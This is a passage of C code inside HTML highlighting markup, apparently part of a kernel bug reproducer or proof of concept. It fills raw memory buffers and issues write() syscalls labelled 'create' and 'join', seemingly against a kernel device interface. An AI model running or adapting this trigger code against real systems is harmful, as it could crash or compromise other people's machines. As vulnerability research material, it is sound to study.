class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-139\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-140\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-141\"><span class=\"crayon-v\">uint64<\/span><span class=\"crayon-sy\">_<\/span>t<span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0xffffffffffffffff<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffff<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffff<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-142\"><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">procid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-143\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">execute_call<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-144\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-145\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/printf(&#8220;call is %dn&#8221;,call);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-146\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-147\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-148\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-149\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000080<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-150\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/printf(&#8220;create&#8230;&#8230;&#8230;n&#8221;);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-151\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000084<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x18<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-152\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000086<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xfa00<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-153\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint64_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000088<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-154\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint64_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000090<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000040<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-155\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000098<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x111<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-156\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xd<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-157\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-158\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-159\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-160\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-161\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000009f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-162\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">__NR_write<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000080<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ create<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-163\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-164\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000040<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-165\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-166\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-167\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;join&#8230;&#8230;&#8230;n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-168\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000180<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x16<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-169\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000184<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x98<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-170\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000186<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xfa00<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-171\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint64_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000188<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000140<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-172\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint64_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000190<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-173\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint32_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000198<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-174\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000019c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-175\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x2000019e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-176\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-177\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint16_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">htobe16<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x4e23<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-178\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xac<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-179\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x14<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-180\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x14<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-181\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xbb<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-182\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-183\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001a9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-184\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001aa<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-185\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001ab<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-186\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001ac<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-187\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001ad<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-188\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001ae<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-189\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">uint8_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x200001af<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-190\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span 